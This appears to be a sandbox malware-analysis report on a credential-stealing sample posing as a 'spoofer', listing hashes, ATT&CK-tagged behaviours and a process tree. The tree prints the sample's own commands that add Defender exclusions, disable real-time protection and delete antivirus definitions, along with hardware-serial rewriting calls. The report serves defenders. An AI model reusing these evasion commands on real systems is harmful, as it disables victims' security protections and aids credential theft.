eb930bc5d5a406263a636749d0eea9e3960e90273774a293aff16873a45eed5d

Analysis

user interaction
yes
max time kernel
149s
max time network
146s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
27/07/2026, 03:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
zerro spoofre.exe
Size 10.9MB
Sample260727-d5fmbsvemd
SHA256 eb930bc5d5a406263a636749d0eea9e3960e90273774a293aff16873a45eed5d
MD5 b9a4a690971c76b1890e01837bd4c4d9
SHA1 2233a0bb47d1992411758d52ed56939c762cbf7b
SHA512 1a0d3ac9383f4232ee1fcac7236c150efae5ae4807286f8d0102db506fef85681592797a4775566bfb702a3cd0de68c39cdd4708cfa92d0e4a484f7166322d72
SSDEEP 196608:mAxxkA/r48OuHsntMNkIahjyRumY4KR0Dgp3AtRgEvoK7LVFLpSN3HX:z2W3p5QmWRgtRLvF7XLpQX
TLSH
T1D4B633247BC445A7EAE2513D4E62C61AFBE034054B60D6DF472897A53F2F8A1893F3B1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
4312	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2356	powershell.exe
412	powershell.exe
3916	powershell.exe
4212	powershell.exe
2292	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
2356	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
3368	cmd.exe
2444	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2476	bound.exe
3848	rar.exe

Loads dropped DLL 21 IoCs

pid	Process
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2396	zerro spoofre.exe
2476	bound.exe
2476	bound.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
10	discord.com
11	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\wbem\repository\INDEX.BTR	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\WRITABLE.TST	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\MAPPING1.MAP	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\MAPPING3.MAP	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\OBJECTS.DATA	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\MAPPING3.MAP	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\OBJECTS.DATA	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\MAPPING2.MAP	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\INDEX.BTR	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\WRITABLE.TST	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\MAPPING1.MAP	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\MAPPING2.MAP	svchost.exe

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
4796	tasklist.exe
3524	tasklist.exe
2136	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000002864a-30.dat	upx
behavioral1/memory/2396-34-0x00007FFD300F0000-0x00007FFD307FD000-memory.dmp	upx
behavioral1/files/0x0007000000028637-36.dat	upx
behavioral1/files/0x0007000000028647-38.dat	upx
behavioral1/memory/2396-41-0x00007FFD42CC0000-0x00007FFD42CCF000-memory.dmp	upx
behavioral1/memory/2396-40-0x00007FFD42CD0000-0x00007FFD42CF9000-memory.dmp	upx
behavioral1/files/0x0007000000028642-65.dat	upx
behavioral1/files/0x000700000002863a-67.dat	upx
behavioral1/memory/2396-71-0x00007FFD3DB20000-0x00007FFD3DBA0000-memory.dmp	upx
behavioral1/files/0x000700000002863d-72.dat	upx
behavioral1/memory/2396-78-0x00007FFD3EB50000-0x00007FFD3EB64000-memory.dmp	upx
behavioral1/files/0x0007000000028646-79.dat	upx
behavioral1/memory/2396-80-0x00007FFD2FAB0000-0x00007FFD300E1000-memory.dmp	upx
behavioral1/files/0x0007000000028639-77.dat	upx
behavioral1/memory/2396-76-0x00007FFD3EB80000-0x00007FFD3EB8F000-memory.dmp	upx
behavioral1/files/0x000700000002863e-81.dat	upx
behavioral1/files/0x0007000000028648-83.dat	upx
behavioral1/files/0x0007000000028640-82.dat	upx
behavioral1/memory/2396-75-0x00007FFD42CB0000-0x00007FFD42CBD000-memory.dmp	upx
behavioral1/files/0x0007000000028641-73.dat	upx
behavioral1/memory/2396-70-0x00007FFD42AA0000-0x00007FFD42ACC000-memory.dmp	upx
behavioral1/memory/2396-69-0x00007FFD42AD0000-0x00007FFD42AEA000-memory.dmp	upx
behavioral1/files/0x0007000000028636-66.dat	upx
behavioral1/files/0x000700000002863c-59.dat	upx
behavioral1/files/0x000700000002863b-58.dat	upx
behavioral1/files/0x0007000000028638-55.dat	upx
behavioral1/files/0x0007000000028635-53.dat	upx
behavioral1/files/0x0007000000028653-50.dat	upx
behavioral1/files/0x000700000002864d-49.dat	upx
behavioral1/files/0x0007000000028649-46.dat	upx
behavioral1/files/0x000700000002863f-62.dat	upx
behavioral1/files/0x0007000000028654-51.dat	upx
behavioral1/memory/2396-89-0x00007FFD3D9C0000-0x00007FFD3D9F6000-memory.dmp	upx
behavioral1/memory/2396-88-0x00007FFD42CD0000-0x00007FFD42CF9000-memory.dmp	upx
behavioral1/memory/2396-87-0x00007FFD3C5C0000-0x00007FFD3C713000-memory.dmp	upx
behavioral1/memory/2396-86-0x00007FFD3E230000-0x00007FFD3E24A000-memory.dmp	upx
behavioral1/memory/2396-85-0x00007FFD300F0000-0x00007FFD307FD000-memory.dmp	upx
behavioral1/memory/2396-97-0x00007FFD2E960000-0x00007FFD2EAEA000-memory.dmp	upx
behavioral1/memory/2396-96-0x00007FFD3C100000-0x00007FFD3C126000-memory.dmp	upx
behavioral1/memory/2396-107-0x00007FFD3EB80000-0x00007FFD3EB8F000-memory.dmp	upx
behavioral1/memory/2396-106-0x00007FFD2F460000-0x00007FFD2F51E000-memory.dmp	upx
behavioral1/memory/2396-105-0x00007FFD3D640000-0x00007FFD3D64D000-memory.dmp	upx
behavioral1/memory/2396-104-0x00007FFD3DB20000-0x00007FFD3DBA0000-memory.dmp	upx
behavioral1/memory/2396-156-0x00007FFD3EB50000-0x00007FFD3EB64000-memory.dmp	upx
behavioral1/memory/2396-164-0x00007FFD2FAB0000-0x00007FFD300E1000-memory.dmp	upx
behavioral1/memory/2396-187-0x00007FFD3C5C0000-0x00007FFD3C713000-memory.dmp	upx
behavioral1/memory/2396-227-0x00007FFD3D9C0000-0x00007FFD3D9F6000-memory.dmp	upx
behavioral1/memory/2396-230-0x00007FFD3C100000-0x00007FFD3C126000-memory.dmp	upx
behavioral1/memory/2396-239-0x00007FFD300F0000-0x00007FFD307FD000-memory.dmp	upx
behavioral1/memory/2396-240-0x00007FFD42CD0000-0x00007FFD42CF9000-memory.dmp	upx
behavioral1/memory/2396-255-0x00007FFD2F460000-0x00007FFD2F51E000-memory.dmp	upx
behavioral1/memory/2396-253-0x00007FFD2E960000-0x00007FFD2EAEA000-memory.dmp	upx
behavioral1/memory/2396-264-0x00007FFD300F0000-0x00007FFD307FD000-memory.dmp	upx
behavioral1/memory/2396-289-0x00007FFD3EB50000-0x00007FFD3EB64000-memory.dmp	upx
behavioral1/memory/2396-292-0x00007FFD3C5C0000-0x00007FFD3C713000-memory.dmp	upx
behavioral1/memory/2396-291-0x00007FFD3E230000-0x00007FFD3E24A000-memory.dmp	upx
behavioral1/memory/2396-290-0x00007FFD2FAB0000-0x00007FFD300E1000-memory.dmp	upx
behavioral1/memory/2396-288-0x00007FFD3EB80000-0x00007FFD3EB8F000-memory.dmp	upx
behavioral1/memory/2396-287-0x00007FFD42CB0000-0x00007FFD42CBD000-memory.dmp	upx
behavioral1/memory/2396-286-0x00007FFD3D9C0000-0x00007FFD3D9F6000-memory.dmp	upx
behavioral1/memory/2396-285-0x00007FFD42AA0000-0x00007FFD42ACC000-memory.dmp	upx
behavioral1/memory/2396-284-0x00007FFD42AD0000-0x00007FFD42AEA000-memory.dmp	upx
behavioral1/memory/2396-283-0x00007FFD42CD0000-0x00007FFD42CF9000-memory.dmp	upx
behavioral1/memory/2396-282-0x00007FFD42CC0000-0x00007FFD42CCF000-memory.dmp	upx

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4896	sc.exe
4416	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 57 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4724	cmd.exe
4452	cmd.exe
5008	cmd.exe
988	cmd.exe
4104	cmd.exe
1560	cmd.exe
4668	cmd.exe
464	cmd.exe
1396	cmd.exe
3796	cmd.exe
712	cmd.exe
224	cmd.exe
4352	cmd.exe
992	cmd.exe
4756	cmd.exe
2008	cmd.exe
2400	cmd.exe
3868	cmd.exe
4516	cmd.exe
4056	cmd.exe
4976	cmd.exe
4076	cmd.exe
2116	cmd.exe
4168	cmd.exe
4476	cmd.exe
1576	cmd.exe
428	cmd.exe
1032	cmd.exe
928	cmd.exe
2256	cmd.exe
4648	cmd.exe
3788	cmd.exe
3404	cmd.exe
2636	cmd.exe
3212	cmd.exe
1196	cmd.exe
3752	cmd.exe
884	cmd.exe
2452	cmd.exe
2692	cmd.exe
1536	cmd.exe
3908	cmd.exe
3980	cmd.exe
4116	cmd.exe
4812	cmd.exe
3964	cmd.exe
4072	cmd.exe
4028	cmd.exe
2100	cmd.exe
1240	cmd.exe
4428	cmd.exe
944	cmd.exe
1348	cmd.exe
652	cmd.exe
1352	cmd.exe
760	cmd.exe
912	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3980	cmd.exe
1896	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4560	WMIC.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4192	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4192	systeminfo.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
3916	powershell.exe
3916	powershell.exe
4212	powershell.exe
4212	powershell.exe
2296	WMIC.exe
2296	WMIC.exe
2296	WMIC.exe
2296	WMIC.exe
2356	powershell.exe
2356	powershell.exe
2444	powershell.exe
2444	powershell.exe
2292	powershell.exe
2292	powershell.exe
4108	powershell.exe
4108	powershell.exe
3916	powershell.exe
4108	powershell.exe
4212	powershell.exe
2356	powershell.exe
2444	powershell.exe
2292	powershell.exe
3108	WMIC.exe
3108	WMIC.exe
3108	WMIC.exe
3108	WMIC.exe
2452	WMIC.exe
2452	WMIC.exe
2452	WMIC.exe
2452	WMIC.exe
3092	WMIC.exe
3092	WMIC.exe
3092	WMIC.exe
3092	WMIC.exe
412	powershell.exe
412	powershell.exe
4560	WMIC.exe
4560	WMIC.exe
4560	WMIC.exe
4560	WMIC.exe
404	powershell.exe
404	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4796	tasklist.exe
Token: SeDebugPrivilege	3524	tasklist.exe
Token: SeDebugPrivilege	3916	powershell.exe
Token: SeDebugPrivilege	4212	powershell.exe
Token: SeIncreaseQuotaPrivilege	2296	WMIC.exe
Token: SeSecurityPrivilege	2296	WMIC.exe
Token: SeTakeOwnershipPrivilege	2296	WMIC.exe
Token: SeLoadDriverPrivilege	2296	WMIC.exe
Token: SeSystemProfilePrivilege	2296	WMIC.exe
Token: SeSystemtimePrivilege	2296	WMIC.exe
Token: SeProfSingleProcessPrivilege	2296	WMIC.exe
Token: SeIncBasePriorityPrivilege	2296	WMIC.exe
Token: SeCreatePagefilePrivilege	2296	WMIC.exe
Token: SeBackupPrivilege	2296	WMIC.exe
Token: SeRestorePrivilege	2296	WMIC.exe
Token: SeShutdownPrivilege	2296	WMIC.exe
Token: SeDebugPrivilege	2296	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2296	WMIC.exe
Token: SeRemoteShutdownPrivilege	2296	WMIC.exe
Token: SeUndockPrivilege	2296	WMIC.exe
Token: SeManageVolumePrivilege	2296	WMIC.exe
Token: 33	2296	WMIC.exe
Token: 34	2296	WMIC.exe
Token: 35	2296	WMIC.exe
Token: 36	2296	WMIC.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeDebugPrivilege	2136	tasklist.exe
Token: SeDebugPrivilege	4108	powershell.exe
Token: SeIncreaseQuotaPrivilege	2296	WMIC.exe
Token: SeSecurityPrivilege	2296	WMIC.exe
Token: SeTakeOwnershipPrivilege	2296	WMIC.exe
Token: SeLoadDriverPrivilege	2296	WMIC.exe
Token: SeSystemProfilePrivilege	2296	WMIC.exe
Token: SeSystemtimePrivilege	2296	WMIC.exe
Token: SeProfSingleProcessPrivilege	2296	WMIC.exe
Token: SeIncBasePriorityPrivilege	2296	WMIC.exe
Token: SeCreatePagefilePrivilege	2296	WMIC.exe
Token: SeBackupPrivilege	2296	WMIC.exe
Token: SeRestorePrivilege	2296	WMIC.exe
Token: SeShutdownPrivilege	2296	WMIC.exe
Token: SeDebugPrivilege	2296	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2296	WMIC.exe
Token: SeRemoteShutdownPrivilege	2296	WMIC.exe
Token: SeUndockPrivilege	2296	WMIC.exe
Token: SeManageVolumePrivilege	2296	WMIC.exe
Token: 33	2296	WMIC.exe
Token: 34	2296	WMIC.exe
Token: 35	2296	WMIC.exe
Token: 36	2296	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2356	powershell.exe
Token: SeSecurityPrivilege	2356	powershell.exe
Token: SeTakeOwnershipPrivilege	2356	powershell.exe
Token: SeLoadDriverPrivilege	2356	powershell.exe
Token: SeSystemProfilePrivilege	2356	powershell.exe
Token: SeSystemtimePrivilege	2356	powershell.exe
Token: SeProfSingleProcessPrivilege	2356	powershell.exe
Token: SeIncBasePriorityPrivilege	2356	powershell.exe
Token: SeCreatePagefilePrivilege	2356	powershell.exe
Token: SeBackupPrivilege	2356	powershell.exe
Token: SeRestorePrivilege	2356	powershell.exe
Token: SeShutdownPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	2356	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3820 wrote to memory of 2396	3820	zerro spoofre.exe	83
PID 2396 wrote to memory of 928	2396	zerro spoofre.exe	86
PID 2396 wrote to memory of 4724	2396	zerro spoofre.exe	87
PID 2396 wrote to memory of 1196	2396	zerro spoofre.exe	88
PID 2396 wrote to memory of 4168	2396	zerro spoofre.exe	89
PID 2396 wrote to memory of 2008	2396	zerro spoofre.exe	90
PID 2396 wrote to memory of 2400	2396	zerro spoofre.exe	96
PID 2396 wrote to memory of 3752	2396	zerro spoofre.exe	97
PID 2396 wrote to memory of 4812	2396	zerro spoofre.exe	100
PID 2396 wrote to memory of 3368	2396	zerro spoofre.exe	101
PID 2396 wrote to memory of 2256	2396	zerro spoofre.exe	103
PID 2396 wrote to memory of 944	2396	zerro spoofre.exe	106
PID 2396 wrote to memory of 3980	2396	zerro spoofre.exe	108
PID 2400 wrote to memory of 4796	2400	cmd.exe	109
PID 2396 wrote to memory of 1348	2396	zerro spoofre.exe	111
PID 4724 wrote to memory of 2356	4724	cmd.exe	112
PID 1196 wrote to memory of 3916	1196	cmd.exe	113
PID 3752 wrote to memory of 3524	3752	cmd.exe	115
PID 2396 wrote to memory of 1000	2396	zerro spoofre.exe	116
PID 4168 wrote to memory of 2476	4168	cmd.exe	118
PID 2008 wrote to memory of 4212	2008	cmd.exe	119
PID 3368 wrote to memory of 2444	3368	cmd.exe	121
PID 928 wrote to memory of 2292	928	cmd.exe	122
PID 4812 wrote to memory of 2296	4812	cmd.exe	123
PID 944 wrote to memory of 2028	944	cmd.exe	135
PID 2256 wrote to memory of 2136	2256	cmd.exe	125
PID 1348 wrote to memory of 4192	1348	cmd.exe	126
PID 3980 wrote to memory of 1896	3980	cmd.exe	127
PID 1000 wrote to memory of 4108	1000	cmd.exe	128
PID 2396 wrote to memory of 3868	2396	zerro spoofre.exe	129
PID 3868 wrote to memory of 2304	3868	cmd.exe	131
PID 2396 wrote to memory of 5008	2396	zerro spoofre.exe	132
PID 5008 wrote to memory of 1796	5008	cmd.exe	134
PID 4108 wrote to memory of 2028	4108	powershell.exe	135
PID 2396 wrote to memory of 1240	2396	zerro spoofre.exe	136
PID 1240 wrote to memory of 3612	1240	cmd.exe	138
PID 2028 wrote to memory of 2508	2028	csc.exe	139
PID 2396 wrote to memory of 4116	2396	zerro spoofre.exe	141
PID 4116 wrote to memory of 1380	4116	cmd.exe	143
PID 2396 wrote to memory of 652	2396	zerro spoofre.exe	144
PID 652 wrote to memory of 384	652	cmd.exe	146
PID 4724 wrote to memory of 4312	4724	cmd.exe	175
PID 2396 wrote to memory of 712	2396	zerro spoofre.exe	148
PID 712 wrote to memory of 2468	712	cmd.exe	152
PID 2396 wrote to memory of 3964	2396	zerro spoofre.exe	153
PID 3964 wrote to memory of 3848	3964	cmd.exe	155
PID 2396 wrote to memory of 4648	2396	zerro spoofre.exe	156
PID 4648 wrote to memory of 3108	4648	cmd.exe	158
PID 2396 wrote to memory of 4072	2396	zerro spoofre.exe	159
PID 2476 wrote to memory of 1352	2476	bound.exe	161
PID 2476 wrote to memory of 884	2476	bound.exe	162
PID 4072 wrote to memory of 2452	4072	cmd.exe	163
PID 2396 wrote to memory of 988	2396	zerro spoofre.exe	164
PID 988 wrote to memory of 3092	988	cmd.exe	167
PID 2396 wrote to memory of 2636	2396	zerro spoofre.exe	168
PID 2636 wrote to memory of 412	2636	cmd.exe	170
PID 2396 wrote to memory of 4428	2396	zerro spoofre.exe	171
PID 4428 wrote to memory of 4560	4428	cmd.exe	173
PID 2396 wrote to memory of 4516	2396	zerro spoofre.exe	174
PID 4516 wrote to memory of 404	4516	cmd.exe	176
PID 2476 wrote to memory of 2116	2476	bound.exe	180
PID 2476 wrote to memory of 4452	2476	bound.exe	181
PID 2476 wrote to memory of 4476	2476	bound.exe	182
PID 2476 wrote to memory of 4028	2476	bound.exe	183

C:\Users\Admin\AppData\Local\Temp\zerro spoofre.exe
"C:\Users\Admin\AppData\Local\Temp\zerro spoofre.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3820
- C:\Users\Admin\AppData\Local\Temp\zerro spoofre.exe
  "C:\Users\Admin\AppData\Local\Temp\zerro spoofre.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\zerro spoofre.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\zerro spoofre.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4724
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2356
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:4312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "start bound.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4168
  - - C:\Users\Admin\AppData\Local\Temp\bound.exe
      bound.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2476
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        5⤵
        Executes a command shell one-liner
        
        PID:1352
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        5⤵
        Executes a command shell one-liner
        
        PID:884
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /CS BD9F97
        5⤵
        Executes a command shell one-liner
        
        PID:2116
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /BS 9F97EF9F
        5⤵
        Executes a command shell one-liner
        
        PID:4452
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /PSN 979797BD9F97A8
        5⤵
        Executes a command shell one-liner
        
        PID:4476
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /SS A897BD9F
        5⤵
        Executes a command shell one-liner
        
        PID:4028
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /SU AUTO
        5⤵
        Executes a command shell one-liner
        
        PID:912
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /SV 1737744978508516
        5⤵
        Executes a command shell one-liner
        
        PID:1576
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /BV A64908A3DA6B1176
        5⤵
        Executes a command shell one-liner
        
        PID:4056
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /PAT 6F8265740690ADC9
        5⤵
        Executes a command shell one-liner
        
        PID:3212
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /PPN 92CAFAA44DA88BC8
        5⤵
        Executes a command shell one-liner
        
        PID:2452
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /IV 71EAF80DE08E0B6C
        5⤵
        Executes a command shell one-liner
        
        PID:3788
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /SM 7CABB25650E96F6E
        5⤵
        Executes a command shell one-liner
        
        PID:2100
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /SP D5D6986BCE931797
        5⤵
        Executes a command shell one-liner
        
        PID:428
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /SF FD55DA239B8544B0
        5⤵
        Executes a command shell one-liner
        
        PID:224
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /BM 04E0DA37086757B2
        5⤵
        Executes a command shell one-liner
        
        PID:2692
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /BP 7C50D98177139256
        5⤵
        Executes a command shell one-liner
        
        PID:4352
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /BT 757E38E927625565
        5⤵
        Executes a command shell one-liner
        
        PID:4104
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /BLC 712438198B2CE2A8
        5⤵
        Executes a command shell one-liner
        
        PID:4976
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /CM B12929F9C21B9907
        5⤵
        Executes a command shell one-liner
        
        PID:992
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /CT 85485E423F18BB4D
        5⤵
        Executes a command shell one-liner
        
        PID:1560
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /CV 3E5926EE32FC9932
        5⤵
        Executes a command shell one-liner
        
        PID:4668
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\Music\1\AMIDEWINx64.EXE /CA 2E35E3961C8F75AE
        5⤵
        Executes a command shell one-liner
        
        PID:760
    - - C:\Windows\system32\cmd.exe
        
